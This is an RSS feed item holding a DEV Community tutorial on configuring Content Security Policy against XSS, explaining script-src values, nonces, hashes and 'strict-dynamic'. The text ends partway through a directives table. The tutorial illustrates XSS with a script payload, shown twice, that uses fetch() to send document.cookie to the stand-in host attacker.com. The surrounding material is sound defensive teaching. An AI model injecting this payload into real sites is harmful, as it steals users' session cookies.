<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Marouane Souda</title>
    <description>The latest articles on DEV Community by Marouane Souda (@marsou001).</description>
    <link>https://dev.to/marsou001</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F576416%2Fad47e847-28af-47df-9afa-d10e75a42ad7.jpg</url>
      <title>DEV Community: Marouane Souda</title>
      <link>https://dev.to/marsou001</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/marsou001"/>
    <language>en</language>
    <item>
      <title>Content Security Policy (CSP) And How to Configure it Against XSS in Node.js</title>
      <dc:creator>Marouane Souda</dc:creator>
      <pubDate>Wed, 30 Jul 2025 15:54:47 +0000</pubDate>
      <link>https://dev.to/marsou001/content-security-policy-csp-and-how-to-configure-it-against-xss-in-nodejs-ice</link>
      <guid>https://dev.to/marsou001/content-security-policy-csp-and-how-to-configure-it-against-xss-in-nodejs-ice</guid>
      <description>&lt;p&gt;&lt;strong&gt;Cross-Site Scripting&lt;/strong&gt;, or &lt;strong&gt;XSS&lt;/strong&gt; for short, is a type of injection attack where an attacker injects malicious code into a website, often through input fields, causing it to execute as if it were part of the site's legitimate code.&lt;/p&gt;

&lt;p&gt;Here's a basic example to illustrate how XSS works:&lt;/p&gt;

&lt;p&gt;Suppose you have a social media app where users can comment on each other's posts. An attacker&lt;br&gt;
can submit a comment like:&lt;br&gt;
"&amp;lt;script&amp;gt;&lt;br&gt;
  fetch("&lt;span&gt;https://&lt;/span&gt;attacker.com/steal?cookie=" + document.cookie);&lt;br&gt;
&amp;lt;/script&amp;gt;"&lt;/p&gt;

&lt;p&gt;Here is a cleaner presentation of the "comment" above:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
  &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://attacker.com/steal?cookie=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If your application renders that comment &lt;strong&gt;without proper sanitization or escaping&lt;/strong&gt;, the script will run in the browser&lt;br&gt;
of any user who views it, sending sensitive data like session cookies to the attacker's malicious server.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If the website sets cookies with the &lt;code&gt;HttpOnly&lt;/code&gt; flag, they can't be accessed via JavaScript, even if an XSS vulnerability exists. In our example, I will assume that &lt;code&gt;HttpOnly&lt;/code&gt; is not set.&lt;/p&gt;

&lt;p&gt;This could allow the attacker to impersonate the user or access sensitive data.&lt;/p&gt;

&lt;p&gt;XSS attacks typically exploit weaknesses in how a website handles user input. If user-provided data is not properly validated or escaped, it can be treated as executable code rather than plain text. This opens the door for attackers to sneak malicious JavaScript into seemingly harmless input fields, like comment forms, chat boxes, or profile descriptions.&lt;/p&gt;

&lt;p&gt;The impact of XSS can be severe. These scripts can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Steal cookies and session tokens.&lt;/li&gt;
&lt;li&gt;Log keystrokes and capture sensitive input.&lt;/li&gt;
&lt;li&gt;Redirect users to malicious websites.&lt;/li&gt;
&lt;li&gt;Perform actions on behalf of the user (like changing passwords or sending messages).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There are many good, tried-and-tested methods of defending against XSS, like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Escaping or sanitizing user input.&lt;/li&gt;
&lt;li&gt;Validating input on both client and server.&lt;/li&gt;
&lt;li&gt;Using secure frameworks and libraries that handle encoding automatically.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One particularly powerful mitigation technique, which you should definitely implement in your website, is &lt;strong&gt;Content Security Policy (CSP)&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  What is Content Security Policy?
&lt;/h2&gt;

&lt;p&gt;According to &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP" rel="noopener noreferrer"&gt;MDN&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;strong&gt;Content Security Policy&lt;/strong&gt; is a feature that helps to prevent or minimize the risk of certain types of security threats. It consists of a series of instructions from a website to a browser, which instruct the browser to place restrictions on the things that the code comprising the site is allowed to do.
&lt;/blockquote&gt;

&lt;p&gt;&lt;small&gt;Source: MDN Web Docs, licensed under &lt;a href="https://creativecommons.org/licenses/by-sa/2.5/" rel="noopener noreferrer"&gt;CC-BY-SA 2.5&lt;/a&gt;.&lt;/small&gt;&lt;/p&gt;

&lt;p&gt;CSP is a browser-based security standard designed to reduce the risk of XSS and other code injection attacks by specifying which sources of content are allowed to load and execute on your website.&lt;/p&gt;

&lt;p&gt;It is a crucial security feature in modern web development, not just because it protects against a wide range of digital threats, but also because it was specifically designed to prevent inline script execution, a &lt;strong&gt;primary vector for Cross-Site Scripting&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In XSS context, you can configure CSP to allow scripts only from your own origin, effectively blocking inline scripts and any scripts loaded from untrusted external sources, which can block many common XSS attacks, especially those relying on inline scripts or&lt;br&gt;
untrusted external sources.&lt;/p&gt;

&lt;p&gt;If the attacker tries to submit the same "comment" mentioned earlier:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
  &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://attacker.com/steal?cookie=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It won't work because the browser isn't allowed to load and execute inline scripts.&lt;/p&gt;

&lt;p&gt;CSP acts as a whitelist for trusted sources of scripts and other resources. If you configure it correctly, the browser will simply block the user's script from executing, because it is not included in the permitted list of sources the browser is allowed to load scripts from.&lt;/p&gt;

&lt;h2&gt;
  
  
  Content Security Policy And Same-Origin Policy
&lt;/h2&gt;

&lt;p&gt;Most browsers already enforce the &lt;a href="https://marouanesouda.com/blog/a-complete-overview-of-same-origin-policy-and-cross-origin-resource-sharing" rel="noopener noreferrer"&gt;Same-Origin Policy (SOP)&lt;/a&gt; by default. This means a script on one origin can't access data on another origin, protecting against cross-site attacks like &lt;a href="https://marouanesouda.com/blog/csrf-cross-site-request-forgery-in-nodejs" rel="noopener noreferrer"&gt;CSRF&lt;/a&gt; or cross-origin data leaks.&lt;/p&gt;

&lt;p&gt;However, SOP does not stop malicious scripts running from &lt;strong&gt;within your own origin&lt;/strong&gt;, such as those injected by an attacker via an XSS vulnerability. &lt;strong&gt;That’s where Content Security Policy steps in&lt;/strong&gt;: it helps prevent those scripts from executing at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  How Does Content Security Policy Work?
&lt;/h2&gt;

&lt;p&gt;CSP is delivered via HTTP headers or HTML &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tags, although headers are preferred for security (I'll explain why later).&lt;/p&gt;

&lt;p&gt;To see how CSP works, let's check an example of a &lt;code&gt;Content-Security-Policy&lt;/code&gt; header:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.example.com;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here's a brief breakdown of what this header means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;default-src 'self'&lt;/code&gt;&lt;/strong&gt;: by default, only load content (like images, fonts, etc.) from the same origin as your website.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;script-src 'self' https://apis.example.com&lt;/code&gt;&lt;/strong&gt;: allow JavaScript to run only if it comes from your own site or from &lt;code&gt;https://apis.example.com&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This CSP allows resources only from your domain ('self'), but scripts can be loaded from a trusted third-party API (&lt;code&gt;https://apis.example.com&lt;/code&gt;) as well. Anything else (scripts from unknown sources, inline scripts, or &lt;code&gt;eval()&lt;/code&gt; calls) will be blocked.&lt;/p&gt;

&lt;h3&gt;
  
  
  Content Security Policy Header Anatomy
&lt;/h3&gt;

&lt;p&gt;In the example above, the header is made up of &lt;strong&gt;directives&lt;/strong&gt; (like &lt;code&gt;default-src&lt;/code&gt; and &lt;code&gt;script-src&lt;/code&gt;), each followed by one or more &lt;strong&gt;allowed sources&lt;/strong&gt; (like &lt;code&gt;'self' https://apis.example.com&lt;/code&gt; for &lt;code&gt;script-src&lt;/code&gt;) separated by spaces.&lt;/p&gt;

&lt;p&gt;Each directive with its allowed sources forms a &lt;strong&gt;policy&lt;/strong&gt;, and multiple policies are separated by semicolons.&lt;/p&gt;

&lt;p&gt;I’ve explicitly set the policy for scripts, while other content types default to being restricted to my own origin. However, CSP offers many more directives that give you fine-grained control over where different types of content can be loaded from.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;script-src&lt;/code&gt; in Detail
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;script-src&lt;/code&gt; controls which JavaScript sources are allowed to load and execute in the browser, acting as a powerful gatekeeper between your website and potentially malicious scripts.&lt;/p&gt;

&lt;p&gt;Since &lt;strong&gt;JavaScript is the primary vector for Cross-Site Scripting (XSS)&lt;/strong&gt; attacks, &lt;code&gt;script-src&lt;/code&gt; is the most critical directive for defense against XSS attacks. That's why I’ll be spending considerably more time on this directive than on any of the others.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;script-src&lt;/code&gt; supports a range of values that define what sources are considered safe. Below are the most commonly used options, along with a brief explanation of what they do:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;'none'&lt;/code&gt;&lt;/strong&gt;: Blocks all scripts from loading.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;'self'&lt;/code&gt;&lt;/strong&gt;: Allows scripts to be loaded from the same origin (your own domain).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Specific URLs&lt;/strong&gt; (&lt;code&gt;https://cdn.example.com&lt;/code&gt;): Allows scripts from a specific trusted third-party source.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;'nonce-&amp;lt;random&amp;gt;'&lt;/code&gt;&lt;/strong&gt;: Allows inline script blocks (&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;) only if they include a nonce, a cryptographic random string that changes on every request.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;&amp;lt;scheme&amp;gt;:&lt;/code&gt;&lt;/strong&gt;: Allows scripts over the specified protocol (&lt;code&gt;https:&lt;/code&gt;, &lt;code&gt;http:&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;'sha256-&amp;lt;hash&amp;gt;'&lt;/code&gt;&lt;/strong&gt;: Allows inline script blocks (&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;) whose hashed content matches the hash set in &lt;code&gt;&amp;lt;hash&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;'unsafe-hashes'&lt;/code&gt;&lt;/strong&gt;: Allows scripts inside event handler attributes (like &lt;code&gt;onclick&lt;/code&gt;) whose hashed content matches the hash set in &lt;code&gt;&amp;lt;hash&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;'strict-dynamic'&lt;/code&gt;&lt;/strong&gt;: Allows scripts dynamically added by other trusted scripts, which themselves must be nonce- or hash-based.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;'unsafe-inline'&lt;/code&gt;&lt;/strong&gt;: Allows any inline script, whether &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags or &lt;code&gt;onclick&lt;/code&gt;/&lt;code&gt;onload&lt;/code&gt; handlers, to run.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;'unsafe-eval'&lt;/code&gt;&lt;/strong&gt;: Allows the use of &lt;code&gt;eval()&lt;/code&gt;, &lt;code&gt;Function()&lt;/code&gt; constructor, and similar. Very unsafe.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Some values, like &lt;code&gt;'none'&lt;/code&gt; and &lt;code&gt;'self'&lt;/code&gt;, are pretty straightforward. So instead of covering all of them, I’ll focus on the more confusing or less obvious ones to help clarify how they work and when to use them.&lt;/p&gt;

&lt;h3&gt;
  
  
  Specific URLs (&lt;code&gt;https://cdn.example.com&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;This specifies the exact URL (or URLs) the browser is allowed to load scripts from.&lt;/p&gt;

&lt;p&gt;In:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.example.com
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Only our scripts and those whose &lt;code&gt;src&lt;/code&gt; value is &lt;code&gt;https://apis.example.com&lt;/code&gt; can be loaded and executed.&lt;/p&gt;

&lt;p&gt;You are not limited to just one URL by the way, you can add more if you host your scripts on more than one CDN for example.&lt;/p&gt;

&lt;p&gt;You also have the option to match all origins with a wildcard &lt;code&gt;*&lt;/code&gt;, but this is &lt;strong&gt;strongly discouraged&lt;/strong&gt;, because it opens your site to potential script injection from anywhere. &lt;strong&gt;Always prefer explicitly listing trusted sources!&lt;/strong&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  About subdomains
&lt;/h4&gt;

&lt;p&gt;Keep in mind that subdomains are not automatically included when you specify a URL. For example, if you set &lt;code&gt;https://example.com&lt;/code&gt;&lt;br&gt;
as a trusted source, it does not mean that &lt;code&gt;https://cdn.example.com&lt;/code&gt; is trusted as well.&lt;/p&gt;

&lt;p&gt;If you want to allow both, you'll have to list them explicitly, like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;script-src 'self' https://example.com https://cdn.example.com
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you need to match all subdomains of an origin, use the wildcard &lt;code&gt;*&lt;/code&gt; in the place for the subdomain, like this: &lt;code&gt;*.example.com&lt;/code&gt;. This will match all subdomains of &lt;code&gt;example.com&lt;/code&gt; (like &lt;code&gt;cdn.example.com&lt;/code&gt; or &lt;code&gt;scripts.example.com&lt;/code&gt;).&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;'nonce-&amp;lt;random&amp;gt;'&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;One of the key strengths of Content Security Policy (CSP) is its default behavior of blocking &lt;strong&gt;inline scripts&lt;/strong&gt;, which are a common vector for XSS attacks.&lt;/p&gt;

&lt;p&gt;By default, CSP blocks things like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags.&lt;/li&gt;
&lt;li&gt;JavaScript in event handlers (like &lt;code&gt;onclick&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Functions like &lt;code&gt;eval()&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This means that unless you explicitly allow them, these types of scripts won’t run. That includes malicious scripts injected into places like comment fields or user inputs.&lt;/p&gt;

&lt;p&gt;So how can you let your &lt;em&gt;own&lt;/em&gt; inline scripts run while still blocking anything suspicious? That’s where &lt;strong&gt;nonces&lt;/strong&gt; come in.&lt;/p&gt;

&lt;h4&gt;
  
  
  What’s a Nonce?
&lt;/h4&gt;

&lt;p&gt;A nonce (short for &lt;span&gt;number used once&lt;/span&gt;) is a random, unique string generated by your server &lt;strong&gt;for each page request&lt;/strong&gt;. You add this nonce to your CSP header and also to each inline script tag you want to allow.&lt;/p&gt;

&lt;p&gt;Any inline script block should have that nonce as an attribute, like this one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;nonce=&lt;/span&gt;&lt;span class="s"&gt;"abc123"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Safe inline script&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the nonce on the script tag matches the one the browser received in the CSP header, the script is allowed to run. If it doesn’t match, or if there's no nonce at all, it gets blocked.&lt;/p&gt;

&lt;p&gt;Since a &lt;code&gt;nonce&lt;/code&gt; attribute with the correct nonce is required for the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; block to run, inline JavaScript handlers and function like &lt;code&gt;eval()&lt;/code&gt; are not permitted, as they have no way to include or use the nonce. A nonce only works for inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; blocks.&lt;/p&gt;

&lt;h4&gt;
  
  
  Why This Protects You
&lt;/h4&gt;

&lt;p&gt;Even if an attacker views the page source and sees the nonce value, they can’t reuse it in a malicious payload, because that nonce is unique to that specific page load (request), which means other users will have different nonces. So an injected script with the wrong nonce will fail silently in other users’ browsers.&lt;/p&gt;

&lt;p&gt;This mechanism makes it nearly impossible for an attacker to sneak a working inline script into your site.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;'sha256-&amp;lt;hash&amp;gt;'&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Another option to secure your inline script blocks is to use a &lt;strong&gt;hash&lt;/strong&gt; instead. Here's how this works:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;You take the inline script's content, and hash it with a secure hashing algorithm, like sha-256.&lt;/li&gt;
&lt;li&gt;Now, the content of every inline script will be hashed, and the result will be compared to the hash that you set
in the CSP header.&lt;/li&gt;
&lt;li&gt;If they don't match, the script will be rejected.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This option is very strict and secure. You don't need a nonce generator, which saves you server costs, plus it's ideal for fixed inline scripts, like in static pages.&lt;/p&gt;

&lt;p&gt;Of course, since the hashes themselves are generated from the content of the inline scripts, you must recalculate the hashes every time content changes, which makes this approach tedious to manage.&lt;/p&gt;

&lt;p&gt;Also, hashing is a computationally expensive task, which makes it not practical for large inline blocks.&lt;/p&gt;

&lt;p&gt;By the way, SHA-256 is just one option. You can use SHA-384 or SHA-512 as well.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;'unsafe-inline'&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This option permits all inline script execution (inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags, JavaScript in event handlers and &lt;code&gt;eval()&lt;/code&gt;), which makes your application vulnerable to XSS attacks.&lt;/p&gt;

&lt;p&gt;The only reason you'll ever need to use &lt;code&gt;'unsafe-inline'&lt;/code&gt; is in legacy systems.&lt;/p&gt;

&lt;p&gt;Here is a longer explanation: In older or poorly maintained web applications, it's common to find inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags directly in the HTML like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hello&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or JavaScript inside HTML attributes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;onclick=&lt;/span&gt;&lt;span class="s"&gt;"submitForm()"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Submit&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To make these applications CSP-compliant without &lt;code&gt;'unsafe-inline'&lt;/code&gt;, you'd need to move all inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; blocks into external JS files or add nonces, and replace inline event handlers with proper JS listeners in separate files, which can be a huge amount of work for large, old codebases, especially when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;There’s little or no test coverage.&lt;/li&gt;
&lt;li&gt;The inline scripts are spread across hundreds of pages.&lt;/li&gt;
&lt;li&gt;Refactoring risks breaking the site.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So in these cases, you might temporarily use &lt;code&gt;'unsafe-inline'&lt;/code&gt; as a &lt;em&gt;stopgap&lt;/em&gt; until the app can be modernized.&lt;/p&gt;

&lt;p&gt;Otherwise, avoid it at all costs, and stick to proper CSP protection options.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;'unsafe-hashes'&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;'unsafe-hashes'&lt;/code&gt; is a sort of middle ground between using secure script hashes and falling back to &lt;code&gt;'unsafe-inline'&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;As I explained before, using a hash like &lt;code&gt;'sha256-&amp;lt;hash&amp;gt;'&lt;/code&gt; works for inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; blocks, but not for inline JavaScript in HTML attributes like &lt;code&gt;onclick&lt;/code&gt;, &lt;code&gt;onload&lt;/code&gt;, etc.&lt;/p&gt;

&lt;p&gt;This is where &lt;code&gt;'unsafe-hashes'&lt;/code&gt; comes in. When included in your &lt;code&gt;script-src&lt;/code&gt; directive, it allows the browser to run inline event handlers only if their hashed content matches a valid hash that you’ve explicitly defined in &lt;code&gt;'sha256-&amp;lt;hash&amp;gt;'&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In short, &lt;code&gt;'unsafe-hashes'&lt;/code&gt; is safer than &lt;code&gt;'unsafe-inline'&lt;/code&gt; because it only allows inline event handlers whose hashed content exactly matches pre-approved hashes, while also extending the capabilities of &lt;code&gt;'sha256-&amp;lt;hash&amp;gt;'&lt;/code&gt; by supporting these inline handlers.&lt;/p&gt;

&lt;p&gt;However, it is still not as safe as avoiding inline JavaScript altogether.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;'strict-dynamic'&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This allows scripts dynamically added by other trusted scripts (which themselves must be nonce- or hash-based).&lt;/p&gt;

&lt;p&gt;It's a value that trusts scripts loaded by other trusted scripts, even if those new scripts come from domains not explicitly listed in the policy.&lt;/p&gt;

&lt;p&gt;Dynamically loaded scripts are JavaScript files added to the page after it loads, typically using JavaScript code like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;script&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://cdn.untrusted.com/extra.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;head&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Without &lt;code&gt;'strict-dynamic'&lt;/code&gt;, CSP blocks that dynamically added script unless its URL is explicitly listed.&lt;/p&gt;

&lt;p&gt;Since &lt;code&gt;'strict-dynamic'&lt;/code&gt; allows loading content from unknown, dynamically loaded scripts, the primary script must be &lt;strong&gt;safe and secure&lt;/strong&gt;. That's why a nonce or a hash must be set with &lt;code&gt;'strict-dynamic'&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;You can't set a CSP header like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic' https://apis.example.com
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The above header will not have the desired effect, and dynamically added script will still be blocked from running, because no nonce or hash is present.&lt;/p&gt;

&lt;p&gt;Also to be aware of: &lt;code&gt;'strict-dynamic'&lt;/code&gt; makes static URLs redundant. If you set both &lt;code&gt;'strict-dynamic'&lt;/code&gt; and static URLs, the browser ignores the URLs. So, even though you've set &lt;code&gt;https://apis.example.com&lt;/code&gt; as an allowed origin in the header above, it will still be blocked from being executed.&lt;/p&gt;

&lt;p&gt;One reason you might set both of them is to support older browser who might not support &lt;code&gt;'strict-dynamic'&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Other Common CSP directives
&lt;/h2&gt;

&lt;p&gt;I already showed you two directives: &lt;code&gt;script-src&lt;/code&gt; and &lt;code&gt;default-src&lt;/code&gt;, but there are many others that give us more flexibility in setting up our policy and improving security.&lt;/p&gt;

&lt;p&gt;CSP is composed of directives, each controlling a specific type of resource. Here are some of the most commonly used ones:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Directive&lt;/th&gt;
&lt;th&gt;What It Controls&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;default-src&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Default policy for loading all content types&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;script-src&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;JavaScript&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;style-src&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;CSS and inline styles&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;img-src&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Images&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;font-src&lt;/code&gt;&lt;/td&gt;
